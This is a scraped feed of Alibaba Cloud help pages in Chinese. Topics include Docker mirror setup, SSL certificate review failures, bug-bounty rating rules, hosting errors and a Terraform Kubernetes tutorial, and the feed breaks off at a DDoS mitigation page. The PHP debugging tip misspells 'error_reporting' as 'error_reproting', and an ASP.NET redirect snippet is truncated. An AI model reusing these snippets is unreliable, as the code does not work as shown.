        容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

      • 容器服务Kubernetes版

        容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

      • 容器镜像服务

        容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      域名未通过安全审核该怎么办?_证书审核相关问题_常见问题_SSL证书-阿里云 Fri, 02 May 2025 09:39:04 +0800 域名未通过安全审核该怎么办?

      更新时间:2020-01-20 17:19:48

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      问题描述

      如果您申请免费DV型数字证书的订单审核结果失败,您可能收到以下失败结果描述:

      该域名未通过CA安全审核,无法申请免费DV证书。请尝试使用其他域名,或选择收费证书产品。

      问题原因

      一般这种情况的审核失败,可能是由于您的域名中包含某些敏感词。

      目前已知的无法通过免费DV型数字证书审核的域名敏感词包括:

      • live(不包含.live顶级域名)
      • bank
      • banc
      • ban.c
      • alpha
      • test
      • example
      • credit
      • 内、外网IP地址
      • 主机名
      • pw(包含.pw顶级域名)
      • apple
      • ebay
      • trust
      • root
      • amazon
      • android
      • visa
      • google
      • discover
      • financial
      • wordpress
      • pal
      • hp
      • lv
      • free
      • SCP

      更多关于审核失败的细节内容,CA中心并没有透露给阿里云。

      解决方法

      根据CA中心给出的建议,在这种情况下您可以选择:

      • 购买收费型数字证书来绑定您的域名。
      • 使用该免费证书绑定您的其它不包含上述敏感词的域名。

      说明 如果您使用收费型的数字证书绑定您的域名仍然无法通过CA中心的安全审核,您可以申请全额退款。

      上一篇:审核失败 - 主域名不能为空

      下一篇:免费证书一直在审核中怎么办?

      相关文档

      相关产品

      • SSL证书

        阿里云SSL证书服务(Alibaba Cloud Certificates Service)是阿里云联合若干国内外知名CA证书厂商,在阿里云平台上直接提供服务器数字证书,阿里云用户可以在云平台上直接购买甚至免费获取所需类型的数字证书,一键部署在阿里云产品中,最小成本的将所持服务从HTTP转换成HTTPS。

      • 云解析 DNS

        云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      漏洞评级原则_漏洞说明_用户指南_先知(安全众测)-阿里云 Fri, 02 May 2025 09:39:04 +0800 漏洞评级原则

      更新时间:2020-04-09 10:50:21

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍漏洞评级原则。

      评分标准通用原则

      • 该标准仅适用于入驻先知平台的企业,并且只针对企业已明确说明接收漏洞的产品及业务(企业已明确说明不接收的漏洞将做驳回处理)。如企业已明确说明的漏洞等级调整,将以企业调整为准。对于企业边缘业务将根据其重要程度适当调低漏洞等级。
      • 各等级漏洞的最终贡献值数量由漏洞利用难度及影响范围等综合因素决定。若漏洞触发条件非常苛刻,包括但不限于特定浏览器才可触发的XSS漏洞,则可跨等级调整贡献值数量。
      • 同一个漏洞源产生的多个漏洞所计的漏洞数量为一。例如同一个接口引起的多个安全漏洞、同一个发布系统引起的多个页面的安全漏洞、框架导致的整站的安全漏洞、泛域名解析产生的多个安全漏洞等。
      • 第三方产品的漏洞只给第一个提交者计贡献值,且漏洞等级不高于,包括但不限于企业所使用的WordPress、Flash 插件以及Apache等服务端相关组件、OpenSSL、第三方SDK等;不同版本的同一处漏洞视为相同漏洞。
      • 同一漏洞,首位报告者计贡献值,其他报告者均不计。
      • 在漏洞未修复之前,被公开的漏洞不计分。
      • 报告网上已公开的漏洞不计贡献值。
      • 同一份报告中提交多个漏洞,只按危害级别最高的漏洞计贡献值。
      • 以测试漏洞为借口,利用漏洞进行损害用户利益、影响业务运作、盗取用户数据等行为,将不会计贡献值。同时,先知平台将联合入驻企业保留采取进一步法律行动的权利。
      • 遇到部分漏洞争议,平台依靠现有规则进行约束沟通,但最终的漏洞定级和是否收取由厂商确定。

      争议解决办法

      在漏洞报告处理过程中,如果报告者对流程处理、漏洞定级、漏洞评分等有异议的,可以通过漏洞详情页面的留言板或者通过即时通讯联系在线工作人员及时沟通。先知平台将按照漏洞报告者利益优先的原则与企业三方协调处理,必要时可引入外部安全人士共同裁定。

      上一篇:Web服务端漏洞类型

      下一篇:漏洞等级说明

      相关文档

      相关产品

      • 先知(安全众测)

        先知计划是一个帮助企业建立私有应急响应中心的平台(帮助企业收集漏洞信息)。企业加入先知计划后,可自主发布奖励计划,激励先知平台的安全专家来测试和提交企业自身网站或业务系统的漏洞,保证安全风险可以快速进行响应和修复,防止造成更大的安全损失。旨在为企业建立高效完善的安全应急响应中心(Security Response Center)。企业通过入驻先知计划漏洞平台,可以通过先知平台众多优质、可信的白帽子及时发现现有业务的安全问题,包括业务逻辑漏洞、权限问题等安全工具无法有效检测的漏洞等,尽早的发现存在的漏洞可以有效的减少公司可能的损失。并且,随着业务的不断发展,也会通过白帽子的持续安全检测来及时发现新业务的安全问题。先知平台会为所有入驻企业的漏洞严格保密,从而避免漏洞被恶意宣传。

      • 安全管家

        阿里云安全管家服务是阿里云安全专家基于阿里云多年安全最佳实践经验为云上用户提供的全方位安全技术和咨询服务,为云上用户建立和持续优化云安全防御体系,保障用户业务安全。

      • 云安全中心

        云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      概述_快速入门_弹性 Web 托管-阿里云 Fri, 02 May 2025 09:39:04 +0800 概述

      更新时间:2018-04-12 11:53:18

      本页目录

      阿里云弹性 Web 托管主机自带操作系统、数据库、FTP 权限等,可以帮助您快速搭建网站。本文帮助您了解使用弹性 Web 托管搭建网站前所需要的准备与搭建网站的流程。

      建站准备

      域名

      搭建以及发布网站需要一个已注册的域名。您可以使用阿里云的域名服务来注册域名

      网站源代码和数据

      准备用来搭建网站的源代码和数据的压缩包:

      • 如果您已经在本地完成网站源代码编写,想由弹性 Web 托管实例托管该网站,您需要准备一个该网站源代码的压缩包。

      • 如果您想要在弹性 Web 托管实例上创建一个网站,您需要选择一个提供内容管理系统服务商,例如,WordPress、织梦等,然后下载该服务商提供的开源代码程序压缩包。

      压缩包准备好后可以通过 FTP 上传到弹性 Web 托管上。

      下载安装 FTP 客户端

      弹性 Web 托管和本地计算机之间是通过 FTP 传送文件的。准备好网站程序的压缩包后,您可以通过 FTP 将其从本地上传到弹性 Web 托管实例中。

      弹性 Web 托管自带单独的 FTP 权限。购买弹性 Web 托管实例之后,在控制台可以查看该主机的 FTP 登录地址等信息。您只需要在本地计算机下载一个 FTP 客户端,然后通过该客户端连接到主机即可。FTP 客户端推荐使用 FileZilla

      建站流程

      建站准备工作完成后,您可以根据以下步骤搭建网站:

      1. 创建实例及查看实例详情

      2. 压缩及上传网站程序

      3. 解压网站程序

      4. 调试网站程序

      5. 绑定域名

      6. 解析域名

        ]]> 官方镜像加速_快速入门_容器镜像服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 官方镜像加速

        更新时间:2020-04-27 15:56:13

        本页目录

        使用Docker时需要首先下载一个官方镜像,例如 mysqlwordpress。然而由于网络原因,下载一个Docker官方镜像可能会需要很长的时间,甚至下载失败。为此,阿里云容器镜像服务ACR提供了官方的镜像站点,从而加速官方镜像的下载。

        使用镜像加速器

        在不同的操作系统下,配置加速器的方式略有不同,下文将介绍主要操作系统的配置方法。

        关于加速器的地址,您登录容器镜像服务控制台后,在左侧单击镜像加速器,就会显示为您独立分配的加速地址。

        例如:
        加速器地址:[系统分配前缀].mirror.aliyuncs.com    

        当您的Docker版本较新时

        当您下载安装的Docker Version不低于 1.10 时,建议直接通过 daemon config 进行配置。使用配置文件 /etc/docker/daemon.json(没有时新建该文件)。

        {
            "registry-mirrors": ["<your accelerate address>"]
        }            

        之后重启Docker Daemon即可。

        当您的Docker版本较旧时

        需要根据操作系统的不同修改对应的配置文件。

        • Ubuntu 12.04 - 14.04

          Ubuntu的配置文件的位置在 /etc/default/docker目录 下。您只需要在这个配置文件中添加加速器的配置项,重启Docker即可。

          echo "DOCKER_OPTS="$DOCKER_OPTS --registry-mirror=<your accelerate address>"" | sudo tee -a /etc/default/docker
          sudo service docker restart            
        • Ubuntu 15.04 - 15.10

          Ubuntu 的配置文件的位置在 /etc/systemd/system/docker.service.d/ 目录下。在这个目录下创建任意的 *.conf 文件即可作为配置文件。然后在这个配置文件中添加加速器的配置项,之后重启Docker即可。

          sudo mkdir -p /etc/systemd/system/docker.service.d
          sudo tee /etc/systemd/system/docker.service.d/mirror.conf <<-'EOF'
          [Service]
          ExecStart=
          ExecStart=/usr/bin/docker daemon -H fd:// --registry-mirror=<your accelerate address>
          EOF
          sudo systemctl daemon-reload
          sudo systemctl restart docker            
        • CentOS 7

          CentOS的配置方式略微复杂,需要先将默认的配置文件(/lib/systemd/system/docker.service)复制到 /etc/systemd/system/docker.service。然后再将加速器地址添加到配置文件的启动命令中,之后重启Docker即可。

          sudo cp -n /lib/systemd/system/docker.service /etc/systemd/system/docker.service
          sudo sed -i "s|ExecStart=/usr/bin/docker daemon|ExecStart=/usr/bin/docker daemon --registry-mirror=<your accelerate address>|g" /etc/systemd/system/docker.service
          sudo sed -i "s|ExecStart=/usr/bin/dockerd|ExecStart=/usr/bin/dockerd --registry-mirror=<your accelerate address>|g" /etc/systemd/system/docker.service
          sudo systemctl daemon-reload
          sudo service docker restart            
        • Redhat 7

          Redhat 7配置加速器,需要编辑 /etc/sysconfig/docker 配置文件。在 OPTIONS 配置项中添加加速器配置 --registry-mirror=<your accelerate address>。最后执行 sudo service docker restart命令以重启Docker Daemon。

        • Redhat 6/CentOS 6

          在这两个系统上无法直接安装Docker,需要升级内核。

          配置加速器时需要编辑 /etc/sysconfig/docker 配置文件。 在 other_args 配置项中添加加速器配置 --registry-mirror=<your accelerate address>。最后执行 sudo service docker restart 命令以重启Docker Daemon。

        • Docker Toolbox

          在Windows、Mac系统上使用Docker Toolbox的话,推荐做法是在创建Linux虚拟机的时候,就将加速器的地址配置进去。

          docker-machine create --engine-registry-mirror=<your accelerate address> -d virtualbox default
          docker-machine env default
          eval "$(docker-machine env default)"
          docker info            

          如果您已经通过docker-machine创建了虚拟机的话,则需要通过登录该虚拟机来修改配置。

          1. 执行 docker-machine ssh <machine-name> 命令以登录虚拟机。
          2. 修改 /var/lib/boot2docker/profile 文件,将 --registry-mirror=<your accelerate address> 添加到 EXTRA_ARGS 中。
          3. 执行 sudo /etc/init.d/docker restart 命令以重启Docker服务。

        注意事项

        关于文中的加速器地址 <your accelerate address>,请到容器镜像服务控制台查看。

        上一篇:Docker 镜像基本操作

        下一篇:构建仓库与镜像

        相关文档

        相关产品

        • 容器镜像服务

          容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

        • 容器服务(已停止服务)

          容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

        • 容器服务Kubernetes版

          容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

        以上内容是否对您有帮助?

        在文档使用中是否遇到以下问题

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        更多建议

        匿名提交

        感谢您的打分,是否有意见建议想告诉我们?

        感谢您的反馈,反馈我们已经收到

        文档反馈

        ]]>
        云虚拟主机访问网站报错:Fatal error: fatal flex scanner internal error-end of buffer miss_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 云虚拟主机访问网站报错:Fatal error: fatal flex scanner internal error-end of buffer miss

        更新时间:2020-01-07 17:03:51

        本页目录

        Linux系统云虚拟主机,通过域名访问PHP程序,页面返回

        Fatal error: fatal flex scanner internal error—end of buffer missed in /data/home/qxuxxxxxxx//htdocs/wp-includes/xxx.php  4842 line



        此类错误,很可能是由于PHP程序中有代码注释等没有闭合导致。

        blob.png


        检查错误信息中提到的网页文件中的某某行代码段附近,是否有未闭合的注释段,比如注释段

        /*

         

         

        /

        少了几行注释和最后的注释终止符/


        虚拟主机中遇到此类问题的解决方案,

        1. 请检查本地电脑上的PHP程序文件能,特别是错误信息中提到的网页文件中的某某行代码段附近,是否有未闭合的注释段,比如少了结尾的/,请补齐注释段的终止符。


        2. 如果您确认PHP程序内容在本地电脑上是正确无误的,或者您的网站是第三方程序,比如wordpress、Discuz,多是上传PHP程序的时候出现问题,导致程序文件没有上传完整。建议您清空网站空间,再重新通过FTP软件上传程序。如果是上传网页文件,FTP请选择ASCII传输方式;如果是上传压缩包,FTP请选择二进制传输方式。



        如果问题还未能解决,请联系售后技术支持


        上一篇:云虚拟主机404页面需要显示404状态码的问题

        下一篇:M型windows虚拟主机Upload上传组件功能简介

        相关文档

        相关产品

        • 云虚拟主机

          阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

        • 云解析 DNS

          云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

        • 云服务器 ECS

          云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

        以上内容是否对您有帮助?

        在文档使用中是否遇到以下问题

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        更多建议

        匿名提交

        感谢您的打分,是否有意见建议想告诉我们?

        感谢您的反馈,反馈我们已经收到

        文档反馈

        ]]>
        网站访问报错Object moved to here.的解决办法_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 网站访问报错Object moved to here.的解决办法

        更新时间:2020-01-07 17:03:40

        本页目录

        问题描述:虚拟主机站点访问报错如下图:

        2015-10-09(01).JPG

         

        问题分析:

        当使用Response.Redirect()方法的时候,如果传入的是null或者“”,在页面上都会显示Object moved to here.一个空白页面上只有这几个字母Object moved to here.这是因为服务器返回给浏览器一个302指令要求重新跳转,但是并没有发给其要跳转的url,浏览器不知道要跳转到哪里,所以浏览器就显示了这几个字母。

                      

        解决方法一:

        使用建站工具中模板页里面的错误,例:wordpress、dede、 Discuz等,导致登录信息丢失,在框架里面跳转的。封装页面太深,导致的这个错误。

        解决方法二:

        以下面代码为例,最后的/Index.aspx填写不正确导致找不到页面也有可能导致这个错误。原来网页中使用的重定向Response.Redirect语句,在网页执行时被反复执行,进入了一个不停的循环中

        if (Request["FromUrl"] != null && Request["FromUrl"].ToString() != "")

                                {

                                            Response.Redirect(Server.UrlDecode(Request["FromUrl"].ToString()));                  

                                }

        else

                                {

                                            

        ");

                                }

         

         


        如果问题还未能解决,您可以到阿里云社区进行免费咨询或联系云市场商家寻求帮助

        上一篇:thinkphp报错class not found Runtime/~runtime.php

        下一篇:虚拟主机Jmail问题集锦

        相关文档

        相关产品

        • 云虚拟主机

          阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

        • 云解析 DNS

          云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

        • 云服务器 ECS

          云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

        以上内容是否对您有帮助?

        在文档使用中是否遇到以下问题

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        更多建议

        匿名提交

        感谢您的打分,是否有意见建议想告诉我们?

        感谢您的反馈,反馈我们已经收到

        文档反馈

        ]]>
        UNIX主机访问PHP程序提示“Internal Server Error”的处理办法_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 UNIX主机访问PHP程序提示“Internal Server Error”的处理办法

        更新时间:2020-01-07 17:03:54

        本页目录

        风险

        修改网站代码前,请注意做好数据备份工作,避免因修改错误导致网站不可恢复。

        问题描述

        访问万网linux虚拟主机,PHP程序在运行后报“Internal Server Error”

        问题分析

        • 权限不正确
        • .htaccess文件存在语法错误
        • 程序错误或者缺少文件

        解决方法

        • 请您检查PHP程序的属性是否设置为755,如果PHP程序的属性不是755,那么运行的时候会报“Internal Server Error”错误,请您使用FTP软件将属性更改为755再测试 【如何修改FTP文件夹权限】。
        • 请您检查PHP程序所在的当前目录下是否有名为.htaccess的文件存在,此文件语法错误会导致“Internal Server Error”错误,如果发现有此文件改名后再测试看是否正常,如果恢复正常,则为此问题错误导致,联系自己的程序开发人员解决语法错误问题。此文件为隐藏文件,需要调整FTP客户端显示隐藏文件才能看到【FTP显示隐藏文件】。
        • 如果程序存在错误或者缺少文件,也会导致此错误。这种情况下,需要联系自己的程序开发人员开启网站的调试模式,查看错误原因。Wordpress和dedecms 都有调试模式。开启后会提示错误原因,根据原因进行处理。如果自己的程序没有调试模式可以尝试在访问错误的页面最前面,添加如下代码:
          1. error_reproting(E_ALL);
          再次访问,看是否出现了错误提示信息。

         

        如问题还未解决,请联系售后技术支持



        上一篇:通过robots屏蔽搜索引擎抓取网站内容

        下一篇:windows虚拟主机使用ASP.Net的Session设置方法

        相关文档

        相关产品

        • 云虚拟主机

          阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

        • 云解析 DNS

          云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

        • 云服务器 ECS

          云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

        以上内容是否对您有帮助?

        在文档使用中是否遇到以下问题

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        更多建议

        匿名提交

        感谢您的打分,是否有意见建议想告诉我们?

        感谢您的反馈,反馈我们已经收到

        文档反馈

        ]]>
        虚拟主机Dede程序安装_网站上传/下载_用户指南_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 虚拟主机Dede程序安装

        更新时间:2017-06-07 13:26:11

        本页目录

         

        1. 在网上下载最新版本的wordpress程序。本文以DedeCMS-V5.7-UTF8-SP1.tar.gz为例安装。

        2. 将Dede程序通过FTP上传到主机上的htdocs目录。

         

        3. 在主机控制台将程序解压到根目录。

         

        4. 将解压后的 upload 目录下的文件全部移动到 /htdocs 目录。本例中的 Filezilla 客户端直接全选文件,使用鼠 标拖动到 /htdocs 目录即可。

         

        5. 确保 /htdocs目录下有index.php 文件。 访问主机临时域名即可开始安装。

        6. 请注意数据库的配置方法。数据库的连接地址不是 localhost,而是主机管理控制台> 数据库信息页面中的数据库信息。

         

        7. 之后单击下一步即可完成安装。

        10.JPG

         

         

        注:以上帐号和密码信息均为测试信息,非真实用户帐号密码,请您在实际操作过程中使用您服务器和数据库的帐号密码代替即可。

         

         

        如果问题还未能解决,请联系售后技术支持

         

         

        上一篇:虚拟主机 403 forbidden 禁止访问解决方法

        下一篇:虚拟主机帝国CMS站点程序备份教程

        相关文档

        相关产品

        • 云虚拟主机

          阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

        • 云解析 DNS

          云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

        • 云服务器 ECS

          云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

        以上内容是否对您有帮助?

        在文档使用中是否遇到以下问题

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        更多建议

        匿名提交

        感谢您的打分,是否有意见建议想告诉我们?

        感谢您的反馈,反馈我们已经收到

        文档反馈

        ]]>
        通过Terraform部署Kubernetes托管版集群_云命令行工具集_教程_云命令行-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过Terraform部署Kubernetes托管版集群

        更新时间:2019-12-04 19:33:44

        编辑 我的收藏

        新浪微博 微信 钉钉

        本页目录

        您可以通过Terraform部署一个阿里云容器服务的Kubernetes托管版集群。

        教程介绍

        以下步骤及示例均已在Alibaba Cloud Shell 中集成。您可以在 Cloud Shell 中打开,快速体验通过Terraform自动创建、编排和管理Kubernetes集群。

        本教程以如下Terraform模板为例。

        // Instance_types data source for instance_type
        data "alicloud_instance_types" "default" {
          cpu_core_count = "${var.cpu_core_count}"
          memory_size    = "${var.memory_size}"
        }
        
        // Zones data source for availability_zone
        data "alicloud_zones" "default" {
          available_instance_type = "${var.worker_instance_type == "" ? data.alicloud_instance_types.default.instance_types.0.id : var.worker_instance_type}"
        }
        
        resource "alicloud_cs_managed_kubernetes" "k8s" {
          name                  = "${var.k8s_name_prefix == "" ? format("%s-%s", var.example_name, format(var.number_format, count.index+1)) : format("%s-%s", var.k8s_name_prefix, format(var.number_format, count.index+1))}"
          availability_zone     = "${lookup(data.alicloud_zones.default.zones[count.index%length(data.alicloud_zones.default.zones)], "id")}"
          new_nat_gateway       = true
          worker_instance_types = ["${var.worker_instance_type == "" ? data.alicloud_instance_types.default.instance_types.0.id : var.worker_instance_type}"]
          worker_numbers        = ["${var.k8s_worker_number}"]
          worker_disk_category  = "${var.worker_disk_category}"
          worker_disk_size      = "${var.worker_disk_size}"
          password              = "${var.ecs_password}"
          pod_cidr              = "${var.k8s_pod_cidr}"
          service_cidr          = "${var.k8s_service_cidr}"
          install_cloud_monitor = true
          kube_config           = "~/.kube/config"
        }
        				

        完成本教程后,您会创建以下资源。其中,容器服务没有任何附加费用,您只需要支付所使用资源(云服务器、 负载均衡等)的费用。

        • Worker 实例(ECS)
          • 实例规格:ecs.n2.medium
          • 实例数量:3
          • 系统盘:20G 高效云盘
        • 负载均衡
          • 实例数量:2
          • 付费模式:按量付费
        • 弹性公网 IP
          • 实例数量:1
          • 付费模式:使用流量计费
        • NAT 网关
          • 实例数量:1
          • 付费模式:按量付费

        具体计费信息,参见 ECS 计费概述负载均衡按量计费弹性公网 IP 按量计费NAT 网关按量计费

        使用限制

        在开始使用本教程前,确保您已经了解以下限制并满足相关要求:

        • 保证您的账户有100元的余额并通过实名认证,否则无法创建按量付费的ECS实例和负载均衡。
        • 随集群一同创建的负载均衡实例只支持按量付费的方式。
        • Kubernetes集群仅支持专有网络VPC。
        • 您的每个账号默认可以创建的云资源有一定的配额,如果超过配额,集群创建失败。如果您需要提高配额,请提交工单申请。
          • 每个账号默认最多可以创建100个安全组。
          • 每个账号默认最多可以创建60个按量付费的负载均衡实例。
          • 每个账号默认最多可以创建20个EIP。
        • 在开始之前,确保您已开通了以下云服务:

        创建托管版Kubernetes集群

        完成以下操作,创建Kubernetes集群:

        1. 执行以下命令定位到用来创建Kubernetes集群的Terraform模板的目录。
          cd ~/terraform-kubernetes-wordpress/kubernetes
        2. 执行init命令加载Alibaba Cloud Providers
          terraform init
        3. 执行以下命令部署集群。
          terraform apply

          说明 如果出现 ErrManagedKuberneteRoleNotAttach 的错误,请检查所需服务是否开通,以及您的账号是否通过了实名认证同时账户余额大于100元。

          部署成功后,系统会返回集群ID,如下图所示。

          Kubernetes的Kube Config文件会存储在~/.kube目录下。您可以登录容器服务控制台查看通过Terraform创建的Kubernetes集群。

          您可以通过以下参数自定义您的Kubernetes集群:

          • worker_instance_type:Worker实例规格
          • worker_disk_category:Worker实例系统盘
          • worker_disk_size:Worker实例系统盘容量
          • ecs_password:Worker实例登录密码
          • k8s_worker_number:Worker实例数量
          • k8s_name_prefix:集群名称前缀

        4. 执行以下命令销毁创建的集群。
          cd ~/terraform-kubernetes-wordpress/kubernetes
          terraform destroy

        上一篇:使用Alibaba Cloud CLI管理Serverless Kubernetes集群

        下一篇:使用kubectl管理Kubernetes集群

        相关文档

        以上内容是否对您有帮助?

        在文档使用中是否遇到以下问题

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        • 内容错误

        • 更新不及时

        • 链接错误

        • 缺少代码/图片示例

        • 太简单/步骤待完善

        • 其他

        更多建议

        匿名提交

        感谢您的打分,是否有意见建议想告诉我们?

        感谢您的反馈,反馈我们已经收到

        文档反馈

        ]]>
        ECS反射型DDoS攻击解决方法_云环境安全最佳实践_安全部署指南_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS反射型DDoS攻击解决方法

        更新时间:2017-10-24 13:59:51

        本页目录

        问题现象

        由于某些服务配置不当,导致服务器被黑客利用进行DDoS攻击。具体表现为机器对外带宽占满;使用抓包工具检测,可看到大量同一源端口的包对外发出。

        解决方案

        Linux系统

        1. 加固NTP服务

